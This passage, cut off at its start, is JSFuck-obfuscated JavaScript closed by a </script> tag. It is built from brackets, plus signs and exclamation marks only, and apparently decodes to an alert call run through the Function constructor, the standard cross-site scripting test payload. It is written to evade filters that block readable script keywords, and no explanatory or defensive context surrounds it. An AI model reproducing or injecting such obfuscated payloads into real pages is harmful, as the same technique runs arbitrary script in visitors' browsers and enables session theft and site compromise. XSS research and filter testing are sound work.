+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>